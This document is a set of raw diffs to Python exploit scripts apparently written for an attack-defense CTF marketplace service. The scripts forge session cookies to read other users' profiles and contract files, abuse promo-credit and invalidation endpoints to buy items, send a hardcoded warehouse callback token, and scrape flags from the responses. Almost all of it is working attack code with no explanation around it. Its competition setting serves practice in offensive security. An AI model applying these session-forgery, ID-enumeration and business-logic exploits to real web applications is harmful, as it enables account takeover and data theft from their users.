payload={"username": f"probe-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
payload={"username": f"probe-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
||||||
|
timeout=min(REQUEST_TIMEOUT, remaining),
|
||||||
)
|
)
|
||||||
if status != 201:
|
if status != 201:
|
||||||
raise ValueError(f"registration returned HTTP {status}")
|
raise ValueError(f"registration returned HTTP {status}")
|
||||||
return int(json.loads(raw)["id"])
|
return int(json.loads(raw)["id"])
|
||||||
|
|
||||||
|
|
||||||
def collect_identity(base: str, user_id: int) -> list[bytes]:
|
def collect_identity(base: str, user_id: int, deadline: float) -> list[bytes]:
|
||||||
|
def fetch(path: str, cookie: str):
|
||||||
|
remaining = deadline - time.monotonic()
|
||||||
|
if remaining <= 0:
|
||||||
|
return None
|
||||||
|
try:
|
||||||
|
return request(base, path, cookie=cookie, timeout=min(REQUEST_TIMEOUT, remaining))
|
||||||
|
except (HTTPError, URLError, TimeoutError, ValueError, OSError):
|
||||||
|
return None
|
||||||
|
|
||||||
probe_cookie = forge_session(user_id, "seller")
|
probe_cookie = forge_session(user_id, "seller")
|
||||||
status, raw = request(base, "/api/me", cookie=probe_cookie)
|
response = fetch("/api/me", probe_cookie)
|
||||||
if status != 200:
|
if response is None or response[0] != 200:
|
||||||
return []
|
return []
|
||||||
|
_, raw = response
|
||||||
try:
|
try:
|
||||||
identity = json.loads(raw)
|
identity = json.loads(raw)
|
||||||
except (TypeError, ValueError):
|
except (TypeError, ValueError):
|
||||||
@@ -116,9 +143,12 @@ def collect_identity(base: str, user_id: int) -> list[bytes]:
|
|||||||
contract_file = identity.get("contract_file")
|
contract_file = identity.get("contract_file")
|
||||||
if role == "seller" and isinstance(contract_file, str) and contract_file:
|
if role == "seller" and isinstance(contract_file, str) and contract_file:
|
||||||
paths.append("/api/contract?file=" + quote(contract_file, safe=""))
|
paths.append("/api/contract?file=" + quote(contract_file, safe=""))
|
||||||
output = []
|
output = [raw]
|
||||||
for path in paths:
|
for path in paths:
|
||||||
status, data = request(base, path, cookie=cookie)
|
response = fetch(path, cookie)
|
||||||
|
if response is None:
|
||||||
|
continue
|
||||||
|
status, data = response
|
||||||
if status == 200 and data:
|
if status == 200 and data:
|
||||||
output.append(data)
|
output.append(data)
|
||||||
return output
|
return output
|
||||||
@@ -126,14 +156,29 @@ def collect_identity(base: str, user_id: int) -> list[bytes]:
|
|||||||
|
|
||||||
def run_exploit(target: str) -> str:
|
def run_exploit(target: str) -> str:
|
||||||
base = build_base_url(target)
|
base = build_base_url(target)
|
||||||
newest = register_probe(base)
|
deadline = time.monotonic() + TOTAL_TIMEOUT
|
||||||
user_ids = range(max(1, newest - RECENT_USER_WINDOW), newest)
|
newest = register_probe(base, deadline)
|
||||||
|
user_ids = list(range(newest - 1, max(0, newest - RECENT_USER_WINDOW - 1), -1))
|
||||||
chunks: list[bytes] = []
|
chunks: list[bytes] = []
|
||||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||||
for result in pool.map(lambda uid: collect_identity(base, uid), user_ids):
|
futures = [pool.submit(collect_identity, base, uid, deadline) for uid in user_ids]
|
||||||
chunks.extend(result)
|
try:
|
||||||
print(f"checked {RECENT_USER_WINDOW} recent identities", file=sys.stderr)
|
for future in concurrent.futures.as_completed(
|
||||||
return b"\n".join(chunks).decode("utf-8", errors="replace")
|
futures,
|
||||||
|
timeout=max(0.001, deadline - time.monotonic()),
|
||||||
|
):
|
||||||
|
try:
|
||||||
|
chunks.extend(future.result())
|
||||||
|
except (HTTPError, URLError, TimeoutError, ValueError, OSError):
|
||||||
|
continue
|
||||||
|
except TimeoutError:
|
||||||
|
pass
|
||||||
|
finally:
|
||||||
|
for future in futures:
|
||||||
|
future.cancel()
|
||||||
|
flags = sorted(set(FLAG_RE.findall(b"\n".join(chunks))))
|
||||||
|
print(f"checked up to {len(user_ids)} recent identities; candidates={len(flags)}", file=sys.stderr)
|
||||||
|
return b"\n".join(flags).decode("ascii")
|
||||||
|
|
||||||
|
|
||||||
def main() -> int:
|
def main() -> int:
|
||||||
@@ -145,6 +190,7 @@ def main() -> int:
|
|||||||
except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc:
|
except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc:
|
||||||
print(f"request failed: {exc}", file=sys.stderr)
|
print(f"request failed: {exc}", file=sys.stderr)
|
||||||
return 1
|
return 1
|
||||||
|
if output:
|
||||||
print(output, flush=True)
|
print(output, flush=True)
|
||||||
return 0
|
return 0
|
||||||
|
|
||||||
|
|||||||
@@ -72,13 +72,17 @@ def request(
|
|||||||
opener = build_opener(NoRedirects())
|
opener = build_opener(NoRedirects())
|
||||||
last_error: OSError | URLError | None = None
|
last_error: OSError | URLError | None = None
|
||||||
for _ in range(attempts):
|
for _ in range(attempts):
|
||||||
if time.monotonic() >= deadline:
|
remaining = deadline - time.monotonic()
|
||||||
|
if remaining <= 0:
|
||||||
break
|
break
|
||||||
try:
|
try:
|
||||||
with opener.open(req, timeout=CONNECT_TIMEOUT) as response:
|
with opener.open(req, timeout=min(CONNECT_TIMEOUT, remaining)) as response:
|
||||||
|
remaining = deadline - time.monotonic()
|
||||||
|
if remaining <= 0:
|
||||||
|
raise TimeoutError("run deadline exceeded")
|
||||||
try:
|
try:
|
||||||
response.fp.raw._sock.settimeout(READ_TIMEOUT)
|
response.fp.raw._sock.settimeout(min(READ_TIMEOUT, remaining))
|
||||||
except AttributeError:
|
except (AttributeError, OSError):
|
||||||
pass
|
pass
|
||||||
data = response.read(MAX_RESPONSE + 1)
|
data = response.read(MAX_RESPONSE + 1)
|
||||||
if len(data) > MAX_RESPONSE:
|
if len(data) > MAX_RESPONSE:
|
||||||
@@ -116,13 +120,84 @@ def register(target: str, deadline: float) -> tuple[int, str]:
|
|||||||
if status != 201:
|
if status != 201:
|
||||||
raise ValueError(f"registration returned HTTP {status}")
|
raise ValueError(f"registration returned HTTP {status}")
|
||||||
data = json.loads(body)
|
data = json.loads(body)
|
||||||
|
if not isinstance(data, dict) or "id" not in data or isinstance(data["id"], bool):
|
||||||
|
raise ValueError("registration returned an invalid user id")
|
||||||
|
try:
|
||||||
|
user_id = int(data["id"])
|
||||||
|
except (TypeError, ValueError) as exc:
|
||||||
|
raise ValueError("registration returned an invalid user id") from exc
|
||||||
|
if user_id < 1:
|
||||||
|
raise ValueError("registration returned an invalid user id")
|
||||||
cookies = SimpleCookie()
|
cookies = SimpleCookie()
|
||||||
for name, value in headers:
|
for name, value in headers:
|
||||||
if name.lower() == "set-cookie":
|
if name.lower() == "set-cookie":
|
||||||
cookies.load(value)
|
cookies.load(value)
|
||||||
if "session" not in cookies:
|
if "session" not in cookies:
|
||||||
raise ValueError("registration did not return a session")
|
raise ValueError("registration did not return a session")
|
||||||
return int(data["id"]), cookies["session"].value
|
return user_id, cookies["session"].value
|
||||||
|
|
||||||
|
|
||||||
|
def pdf_literal_strings(document: bytes) -> list[bytes]:
|
||||||
|
strings: list[bytes] = []
|
||||||
|
size = len(document)
|
||||||
|
offset = 0
|
||||||
|
escapes = {
|
||||||
|
ord("n"): ord("\n"),
|
||||||
|
ord("r"): ord("\r"),
|
||||||
|
ord("t"): ord("\t"),
|
||||||
|
ord("b"): ord("\b"),
|
||||||
|
ord("f"): ord("\f"),
|
||||||
|
}
|
||||||
|
while offset < size:
|
||||||
|
start = document.find(b"(", offset)
|
||||||
|
if start < 0:
|
||||||
|
break
|
||||||
|
offset = start + 1
|
||||||
|
depth = 1
|
||||||
|
value = bytearray()
|
||||||
|
while offset < size and depth:
|
||||||
|
current = document[offset]
|
||||||
|
if current == ord("\\"):
|
||||||
|
offset += 1
|
||||||
|
if offset >= size:
|
||||||
|
break
|
||||||
|
escaped = document[offset]
|
||||||
|
if escaped in (ord("\r"), ord("\n")):
|
||||||
|
if escaped == ord("\r") and offset + 1 < size and document[offset + 1] == ord("\n"):
|
||||||
|
offset += 1
|
||||||
|
offset += 1
|
||||||
|
continue
|
||||||
|
if ord("0") <= escaped <= ord("7"):
|
||||||
|
end = offset + 1
|
||||||
|
while end < size and end < offset + 3 and ord("0") <= document[end] <= ord("7"):
|
||||||
|
end += 1
|
||||||
|
value.append(int(document[offset:end], 8) & 0xFF)
|
||||||
|
offset = end
|
||||||
|
continue
|
||||||
|
value.append(escapes.get(escaped, escaped))
|
||||||
|
elif current == ord("("):
|
||||||
|
depth += 1
|
||||||
|
value.append(current)
|
||||||
|
elif current == ord(")"):
|
||||||
|
depth -= 1
|
||||||
|
if depth:
|
||||||
|
value.append(current)
|
||||||
|
else:
|
||||||
|
value.append(current)
|
||||||
|
offset += 1
|
||||||
|
if depth == 0:
|
||||||
|
strings.append(bytes(value))
|
||||||
|
return strings
|
||||||
|
|
||||||
|
|
||||||
|
def extract_flags(document: bytes) -> set[bytes]:
|
||||||
|
fragments = pdf_literal_strings(document)
|
||||||
|
flags = set(FLAG_PATTERN.findall(document))
|
||||||
|
for fragment in fragments:
|
||||||
|
flags.update(FLAG_PATTERN.findall(fragment))
|
||||||
|
for left, right in zip(fragments, fragments[1:]):
|
||||||
|
flags.update(FLAG_PATTERN.findall(left[-31:] + right[:31]))
|
||||||
|
return flags
|
||||||
|
|
||||||
|
|
||||||
def collect_contract(target: str, user_id: int, cookie: str, deadline: float) -> tuple[set[bytes], bool]:
|
def collect_contract(target: str, user_id: int, cookie: str, deadline: float) -> tuple[set[bytes], bool]:
|
||||||
@@ -136,25 +211,31 @@ def collect_contract(target: str, user_id: int, cookie: str, deadline: float) ->
|
|||||||
)
|
)
|
||||||
except (OSError, TimeoutError, URLError, ValueError):
|
except (OSError, TimeoutError, URLError, ValueError):
|
||||||
return set(), True
|
return set(), True
|
||||||
return (set(FLAG_PATTERN.findall(body)) if status == 200 else set()), False
|
return (extract_flags(body) if status == 200 else set()), False
|
||||||
|
|
||||||
|
|
||||||
def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
|
def run_exploit(raw_target: str, emit=None) -> tuple[list[str], int, int]:
|
||||||
target = build_target(raw_target)
|
target = build_target(raw_target)
|
||||||
deadline = time.monotonic() + RUN_TIMEOUT
|
deadline = time.monotonic() + RUN_TIMEOUT
|
||||||
newest, cookie = register(target, deadline)
|
newest, cookie = register(target, deadline)
|
||||||
user_ids = range(max(1, newest - RECENT_USER_WINDOW), newest)
|
oldest = max(1, newest - RECENT_USER_WINDOW)
|
||||||
flags: set[bytes] = set()
|
user_ids = range(newest - 1, oldest - 1, -1)
|
||||||
|
flags: set[str] = set()
|
||||||
errors = 0
|
errors = 0
|
||||||
checked = 0
|
checked = 0
|
||||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||||
futures = [pool.submit(collect_contract, target, user_id, cookie, deadline) for user_id in user_ids]
|
futures = [pool.submit(collect_contract, target, user_id, cookie, deadline) for user_id in user_ids]
|
||||||
for future in concurrent.futures.as_completed(futures):
|
for future in concurrent.futures.as_completed(futures):
|
||||||
found, failed = future.result()
|
found, failed = future.result()
|
||||||
flags.update(found)
|
for candidate in sorted(flag.decode("ascii") for flag in found):
|
||||||
|
if candidate in flags:
|
||||||
|
continue
|
||||||
|
flags.add(candidate)
|
||||||
|
if emit is not None:
|
||||||
|
emit(candidate)
|
||||||
errors += int(failed)
|
errors += int(failed)
|
||||||
checked += 1
|
checked += 1
|
||||||
return sorted(flag.decode("ascii") for flag in flags), checked, errors
|
return sorted(flags), checked, errors
|
||||||
|
|
||||||
|
|
||||||
def main() -> int:
|
def main() -> int:
|
||||||
@@ -162,13 +243,11 @@ def main() -> int:
|
|||||||
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||||
return 2
|
return 2
|
||||||
try:
|
try:
|
||||||
flags, checked, errors = run_exploit(sys.argv[1])
|
flags, checked, errors = run_exploit(sys.argv[1], lambda candidate: print(candidate, flush=True))
|
||||||
except (OSError, TimeoutError, URLError, ValueError, json.JSONDecodeError) as exc:
|
except (OSError, TimeoutError, URLError, ValueError, json.JSONDecodeError) as exc:
|
||||||
print(f"request failed: {exc}", file=sys.stderr)
|
print(f"request failed: {exc}", file=sys.stderr)
|
||||||
return 1
|
return 1
|
||||||
print(f"checked={checked} request_errors={errors} flags={len(flags)}", file=sys.stderr)
|
print(f"checked={checked} request_errors={errors} flags={len(flags)}", file=sys.stderr)
|
||||||
if flags:
|
|
||||||
print("\n".join(flags), flush=True)
|
|
||||||
return 0
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
+134
-37
@@ -9,12 +9,16 @@ service secret, warehouse token, or Skipper credential.
|
|||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import json
|
import json
|
||||||
|
import os
|
||||||
import re
|
import re
|
||||||
import secrets
|
import secrets
|
||||||
import signal
|
import signal
|
||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
|
from datetime import datetime, timedelta, timezone
|
||||||
|
from email.utils import parsedate_to_datetime
|
||||||
from http.cookies import SimpleCookie
|
from http.cookies import SimpleCookie
|
||||||
|
from ipaddress import ip_address
|
||||||
from urllib.error import HTTPError, URLError
|
from urllib.error import HTTPError, URLError
|
||||||
from urllib.parse import urlsplit, urlunsplit
|
from urllib.parse import urlsplit, urlunsplit
|
||||||
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
|
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
|
||||||
@@ -24,11 +28,23 @@ SERVICE_PORT = 8090
|
|||||||
RUN_TIMEOUT = 8.5
|
RUN_TIMEOUT = 8.5
|
||||||
REQUEST_TIMEOUT = 1.2
|
REQUEST_TIMEOUT = 1.2
|
||||||
MAX_RESPONSE = 512 * 1024
|
MAX_RESPONSE = 512 * 1024
|
||||||
MAX_BUYS = 2
|
MAX_ATTACK_DATA_RESPONSE = 256 * 1024
|
||||||
MAX_BUY_ATTEMPTS = 3
|
ATTACK_DATA_URL = os.environ.get(
|
||||||
|
"STARPOST_ATTACK_DATA_URL",
|
||||||
|
"https://board.academy.goctf.online/api/v1/attack_data/%D0%94%D0%9E%D0%9A",
|
||||||
|
)
|
||||||
|
# A/D checker traffic is staggered differently for each team, so a fixed UTC
|
||||||
|
# second is not transferable. All observed checker-like products cost at
|
||||||
|
# least 101 credits. Try the newest suitable product, then at most one from
|
||||||
|
# the previous minute if delivery yields no flag. This is an empirical
|
||||||
|
# heuristic, not a way to identify flag-bearing cargo.
|
||||||
|
MAX_CANDIDATE_AGE = 145
|
||||||
|
MIN_CANDIDATE_PRICE = 101
|
||||||
|
MAX_CANDIDATES = 2
|
||||||
MAX_ORDER_POLLS = 5
|
MAX_ORDER_POLLS = 5
|
||||||
POLL_INTERVAL = 0.3
|
POLL_INTERVAL = 0.3
|
||||||
FLAG_PATTERN = re.compile(r"[A-Z0-9]{31}=")
|
FLAG_PATTERN = re.compile(r"(?<![A-Za-z0-9])[A-Z0-9]{31}=(?![A-Za-z0-9])")
|
||||||
|
DECIMAL_HINT = re.compile(r"[1-9][0-9]{0,8}\Z")
|
||||||
|
|
||||||
|
|
||||||
class NoRedirects(HTTPRedirectHandler):
|
class NoRedirects(HTTPRedirectHandler):
|
||||||
@@ -104,27 +120,100 @@ def scan_flags(value: object) -> set[str]:
|
|||||||
return set(FLAG_PATTERN.findall(value)) if isinstance(value, str) else set()
|
return set(FLAG_PATTERN.findall(value)) if isinstance(value, str) else set()
|
||||||
|
|
||||||
|
|
||||||
def candidates(products: object) -> list[tuple[int, int]]:
|
def numeric_hints(payload: object, target_host: str) -> set[int]:
|
||||||
|
"""Accept only exact per-IP positive decimal product IDs; ignore mixed hints."""
|
||||||
|
try:
|
||||||
|
target_ip = str(ip_address(target_host))
|
||||||
|
except ValueError:
|
||||||
|
return set()
|
||||||
|
if not isinstance(payload, dict):
|
||||||
|
raise ValueError("attack_data root is not an object")
|
||||||
|
values = payload.get(target_ip)
|
||||||
|
if values is None:
|
||||||
|
return set()
|
||||||
|
if not isinstance(values, list) or len(values) > 32:
|
||||||
|
raise ValueError("attack_data target hints are invalid")
|
||||||
|
return {int(value) for value in values if isinstance(value, str) and DECIMAL_HINT.fullmatch(value)}
|
||||||
|
|
||||||
|
|
||||||
|
def fetch_attack_hints(target_host: str, deadline: float) -> set[int] | None:
|
||||||
|
"""Read the public Skipper endpoint once; None means use catalog fallback."""
|
||||||
|
remaining = deadline - time.monotonic()
|
||||||
|
if remaining <= 0:
|
||||||
|
return None
|
||||||
|
req = Request(ATTACK_DATA_URL, headers={"Accept": "application/json", "User-Agent": "neo-starpost-market/1.1"})
|
||||||
|
try:
|
||||||
|
with OPENER.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
|
||||||
|
if response.status != 200:
|
||||||
|
return None
|
||||||
|
raw = response.read(MAX_ATTACK_DATA_RESPONSE + 1)
|
||||||
|
if len(raw) > MAX_ATTACK_DATA_RESPONSE:
|
||||||
|
return None
|
||||||
|
return numeric_hints(json.loads(raw), target_host)
|
||||||
|
except (HTTPError, URLError, OSError, TimeoutError, ValueError, UnicodeDecodeError, json.JSONDecodeError):
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def parse_created_at(raw: object) -> datetime | None:
|
||||||
|
if not isinstance(raw, str):
|
||||||
|
return None
|
||||||
|
try:
|
||||||
|
created = datetime.fromisoformat(raw.replace("Z", "+00:00"))
|
||||||
|
except ValueError:
|
||||||
|
try:
|
||||||
|
created = parsedate_to_datetime(raw)
|
||||||
|
except (TypeError, ValueError):
|
||||||
|
return None
|
||||||
|
return created.astimezone(timezone.utc) if created.tzinfo else None
|
||||||
|
|
||||||
|
|
||||||
|
def candidates(products: object, now: datetime | None = None, hint_ids: set[int] | None = None) -> list[tuple[int, int]]:
|
||||||
if not isinstance(products, list):
|
if not isinstance(products, list):
|
||||||
raise ValueError("products response is not a list")
|
raise ValueError("products response is not a list")
|
||||||
found = []
|
now = now or datetime.now(timezone.utc)
|
||||||
|
if now.tzinfo is None:
|
||||||
|
raise ValueError("now must have a timezone")
|
||||||
|
found: list[tuple[datetime, int, int]] = []
|
||||||
seen = set()
|
seen = set()
|
||||||
|
have_hints = bool(hint_ids)
|
||||||
for product in products:
|
for product in products:
|
||||||
if not isinstance(product, dict):
|
if not isinstance(product, dict):
|
||||||
continue
|
continue
|
||||||
product_id, price = product.get("id"), product.get("price")
|
product_id, price = product.get("id"), product.get("price")
|
||||||
|
created = parse_created_at(product.get("created_at"))
|
||||||
|
valid_id = isinstance(product_id, int) and not isinstance(product_id, bool) and product_id > 0
|
||||||
|
selected_by_hint = valid_id and have_hints and product_id in hint_ids
|
||||||
|
selected_by_catalog = (not have_hints and created is not None
|
||||||
|
and -5 <= (now - created).total_seconds() <= MAX_CANDIDATE_AGE)
|
||||||
if (
|
if (
|
||||||
isinstance(product_id, int)
|
valid_id
|
||||||
and not isinstance(product_id, bool)
|
|
||||||
and product_id > 0
|
|
||||||
and isinstance(price, int)
|
and isinstance(price, int)
|
||||||
and not isinstance(price, bool)
|
and not isinstance(price, bool)
|
||||||
and 0 < price <= 200
|
and MIN_CANDIDATE_PRICE <= price <= 200
|
||||||
and product_id not in seen
|
and product_id not in seen
|
||||||
|
and created is not None
|
||||||
|
and (selected_by_hint or selected_by_catalog)
|
||||||
):
|
):
|
||||||
found.append((product_id, price))
|
found.append((created, product_id, price))
|
||||||
seen.add(product_id)
|
seen.add(product_id)
|
||||||
return found
|
found.sort(reverse=True)
|
||||||
|
if not found:
|
||||||
|
return []
|
||||||
|
if hint_ids:
|
||||||
|
return [(product_id, price) for _, product_id, price in found[:MAX_CANDIDATES]]
|
||||||
|
newest_minute = found[0][0].replace(second=0, microsecond=0)
|
||||||
|
previous_minute = newest_minute - timedelta(minutes=1)
|
||||||
|
selected: list[tuple[int, int]] = []
|
||||||
|
used_minutes: set[datetime] = set()
|
||||||
|
for created, product_id, price in found:
|
||||||
|
minute = created.replace(second=0, microsecond=0)
|
||||||
|
if minute not in {newest_minute, previous_minute} or minute in used_minutes:
|
||||||
|
continue
|
||||||
|
selected.append((product_id, price))
|
||||||
|
used_minutes.add(minute)
|
||||||
|
if len(selected) >= MAX_CANDIDATES:
|
||||||
|
break
|
||||||
|
return selected
|
||||||
|
|
||||||
|
|
||||||
def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
|
def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
|
||||||
@@ -134,10 +223,17 @@ def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
|
|||||||
status, products, _ = request_json(target, "/api/products", deadline)
|
status, products, _ = request_json(target, "/api/products", deadline)
|
||||||
if status != 200:
|
if status != 200:
|
||||||
raise ValueError(f"catalog returned HTTP {status}")
|
raise ValueError(f"catalog returned HTTP {status}")
|
||||||
available = candidates(products)
|
hint_ids = fetch_attack_hints(urlsplit(target).hostname or "", deadline)
|
||||||
|
available = candidates(products, hint_ids=hint_ids)
|
||||||
if not available:
|
if not available:
|
||||||
return [], 0, 0
|
return [], 0, 0
|
||||||
|
|
||||||
|
flags: set[str] = set()
|
||||||
|
bought_count = 0
|
||||||
|
polls = 0
|
||||||
|
for product_id, price in available:
|
||||||
|
if time.monotonic() >= deadline:
|
||||||
|
break
|
||||||
marker = secrets.token_hex(8)
|
marker = secrets.token_hex(8)
|
||||||
status, _, cookie = request_json(
|
status, _, cookie = request_json(
|
||||||
target,
|
target,
|
||||||
@@ -175,14 +271,20 @@ def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
|
|||||||
raise ValueError("invalid credited amount")
|
raise ValueError("invalid credited amount")
|
||||||
budget += credited
|
budget += credited
|
||||||
|
|
||||||
bought_ids: set[int] = set()
|
# Current Starpost checker uses credit -> invalidate -> purchase.
|
||||||
buy_attempts = 0
|
# Buying while a promo_codes row still exists now returns HTTP 409.
|
||||||
for product_id, price in available:
|
status, invalidation, _ = request_json(
|
||||||
if len(bought_ids) >= MAX_BUYS or buy_attempts >= MAX_BUY_ATTEMPTS or time.monotonic() >= deadline:
|
target,
|
||||||
break
|
"/api/promo/invalidate",
|
||||||
|
deadline,
|
||||||
|
method="POST",
|
||||||
|
payload={"code": promo["code"]},
|
||||||
|
cookie=cookie,
|
||||||
|
)
|
||||||
|
if status != 200 or not isinstance(invalidation, dict) or invalidation.get("invalidated") is not True:
|
||||||
|
raise ValueError(f"promo invalidation returned HTTP {status}")
|
||||||
if price > budget:
|
if price > budget:
|
||||||
continue
|
continue
|
||||||
buy_attempts += 1
|
|
||||||
status, order, _ = request_json(
|
status, order, _ = request_json(
|
||||||
target,
|
target,
|
||||||
f"/api/products/{product_id}/buy",
|
f"/api/products/{product_id}/buy",
|
||||||
@@ -194,14 +296,11 @@ def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
|
|||||||
if status != 201 or not isinstance(order, dict):
|
if status != 201 or not isinstance(order, dict):
|
||||||
continue
|
continue
|
||||||
order_id = order.get("id")
|
order_id = order.get("id")
|
||||||
if isinstance(order_id, int) and not isinstance(order_id, bool) and order_id > 0:
|
if not isinstance(order_id, int) or isinstance(order_id, bool) or order_id <= 0:
|
||||||
bought_ids.add(order_id)
|
continue
|
||||||
budget -= price
|
bought_count += 1
|
||||||
|
|
||||||
flags: set[str] = set()
|
|
||||||
polls = 0
|
|
||||||
for poll in range(MAX_ORDER_POLLS):
|
for poll in range(MAX_ORDER_POLLS):
|
||||||
if not bought_ids or time.monotonic() >= deadline:
|
if time.monotonic() >= deadline:
|
||||||
break
|
break
|
||||||
if poll:
|
if poll:
|
||||||
time.sleep(min(POLL_INTERVAL, max(0.0, deadline - time.monotonic())))
|
time.sleep(min(POLL_INTERVAL, max(0.0, deadline - time.monotonic())))
|
||||||
@@ -209,19 +308,17 @@ def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
|
|||||||
polls += 1
|
polls += 1
|
||||||
if status != 200 or not isinstance(orders, list):
|
if status != 200 or not isinstance(orders, list):
|
||||||
break
|
break
|
||||||
delivered = set()
|
delivered_order = next(
|
||||||
for order in orders:
|
(item for item in orders if isinstance(item, dict) and item.get("id") == order_id
|
||||||
if not isinstance(order, dict):
|
and item.get("status") == "delivered"),
|
||||||
continue
|
None,
|
||||||
order_id = order.get("id")
|
)
|
||||||
if not isinstance(order_id, int) or order_id not in bought_ids:
|
if delivered_order is not None:
|
||||||
continue
|
flags.update(scan_flags(delivered_order.get("cargo")))
|
||||||
if order.get("status") == "delivered":
|
|
||||||
delivered.add(order_id)
|
|
||||||
flags.update(scan_flags(order.get("cargo")))
|
|
||||||
if delivered == bought_ids:
|
|
||||||
break
|
break
|
||||||
return sorted(flags), len(bought_ids), polls
|
if flags:
|
||||||
|
break
|
||||||
|
return sorted(flags), bought_count, polls
|
||||||
|
|
||||||
|
|
||||||
def main() -> int:
|
def main() -> int:
|
||||||
|
|||||||
@@ -162,6 +162,16 @@ def obtain_credit(target: str, cookie: str, deadline: float) -> None:
|
|||||||
)
|
)
|
||||||
if status != 200:
|
if status != 200:
|
||||||
raise ValueError(f"promo endpoint returned HTTP {status}")
|
raise ValueError(f"promo endpoint returned HTTP {status}")
|
||||||
|
status, _, _, _ = get_json(
|
||||||
|
target,
|
||||||
|
"POST",
|
||||||
|
"/api/promo/invalidate",
|
||||||
|
deadline,
|
||||||
|
payload={"code": code},
|
||||||
|
cookie=cookie,
|
||||||
|
)
|
||||||
|
if status != 200:
|
||||||
|
raise ValueError(f"promo invalidation returned HTTP {status}")
|
||||||
|
|
||||||
|
|
||||||
def buy_product(target: str, product_id: int, cookie: str, deadline: float) -> int:
|
def buy_product(target: str, product_id: int, cookie: str, deadline: float) -> int:
|
||||||
|
|||||||
@@ -4,9 +4,10 @@ from __future__ import annotations
|
|||||||
|
|
||||||
import concurrent.futures
|
import concurrent.futures
|
||||||
import json
|
import json
|
||||||
import math
|
import re
|
||||||
import secrets
|
import secrets
|
||||||
import sys
|
import sys
|
||||||
|
import time
|
||||||
from http.cookies import SimpleCookie
|
from http.cookies import SimpleCookie
|
||||||
from urllib.error import HTTPError, URLError
|
from urllib.error import HTTPError, URLError
|
||||||
from urllib.parse import urlsplit, urlunsplit
|
from urllib.parse import urlsplit, urlunsplit
|
||||||
@@ -14,11 +15,13 @@ from urllib.request import HTTPRedirectHandler, Request, build_opener
|
|||||||
|
|
||||||
TARGET_SCHEME = "http"
|
TARGET_SCHEME = "http"
|
||||||
SERVICE_PORT = 8090
|
SERVICE_PORT = 8090
|
||||||
REQUEST_TIMEOUT = 2.0
|
REQUEST_TIMEOUT = 1.5
|
||||||
MAX_RESPONSE = 128 * 1024
|
TOTAL_TIMEOUT = 8.5
|
||||||
MAX_PRODUCTS = 8
|
MAX_RESPONSE = 512 * 1024
|
||||||
MAX_CREDITS = 100
|
MAX_PRODUCTS = 5
|
||||||
MAX_WORKERS = 8
|
MAX_WORKERS = 8
|
||||||
|
GET_RETRIES = 1
|
||||||
|
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
|
||||||
CALLBACK_TOKEN = "starpost-warehouse-callback-token"
|
CALLBACK_TOKEN = "starpost-warehouse-callback-token"
|
||||||
|
|
||||||
|
|
||||||
@@ -46,7 +49,15 @@ def build_base_url(target: str) -> str:
|
|||||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||||
|
|
||||||
|
|
||||||
def request(base: str, path: str, method: str = "GET", payload=None, cookie: str | None = None, warehouse=False):
|
def request(
|
||||||
|
base: str,
|
||||||
|
path: str,
|
||||||
|
method: str = "GET",
|
||||||
|
payload=None,
|
||||||
|
cookie: str | None = None,
|
||||||
|
warehouse=False,
|
||||||
|
deadline: float | None = None,
|
||||||
|
):
|
||||||
body = json.dumps(payload).encode() if payload is not None else None
|
body = json.dumps(payload).encode() if payload is not None else None
|
||||||
headers = {"User-Agent": "starpost-warehouse/2.0", "Accept": "application/json"}
|
headers = {"User-Agent": "starpost-warehouse/2.0", "Accept": "application/json"}
|
||||||
if body is not None:
|
if body is not None:
|
||||||
@@ -55,25 +66,40 @@ def request(base: str, path: str, method: str = "GET", payload=None, cookie: str
|
|||||||
headers["Cookie"] = f"session={cookie}"
|
headers["Cookie"] = f"session={cookie}"
|
||||||
if warehouse:
|
if warehouse:
|
||||||
headers["X-Warehouse-Token"] = CALLBACK_TOKEN
|
headers["X-Warehouse-Token"] = CALLBACK_TOKEN
|
||||||
|
attempts = GET_RETRIES + 1 if method == "GET" else 1
|
||||||
|
for attempt in range(attempts):
|
||||||
|
remaining = REQUEST_TIMEOUT if deadline is None else deadline - time.monotonic()
|
||||||
|
if remaining <= 0:
|
||||||
|
raise TimeoutError("overall deadline exceeded")
|
||||||
req = Request(base + path, data=body, headers=headers, method=method)
|
req = Request(base + path, data=body, headers=headers, method=method)
|
||||||
opener = build_opener(NoRedirects())
|
opener = build_opener(NoRedirects())
|
||||||
try:
|
try:
|
||||||
with opener.open(req, timeout=REQUEST_TIMEOUT) as response:
|
with opener.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
|
||||||
data = response.read(MAX_RESPONSE + 1)
|
data = response.read(MAX_RESPONSE + 1)
|
||||||
if len(data) > MAX_RESPONSE:
|
if len(data) > MAX_RESPONSE:
|
||||||
raise ValueError("response too large")
|
raise ValueError("response too large")
|
||||||
return response.status, data, response.headers
|
return response.status, data, response.headers
|
||||||
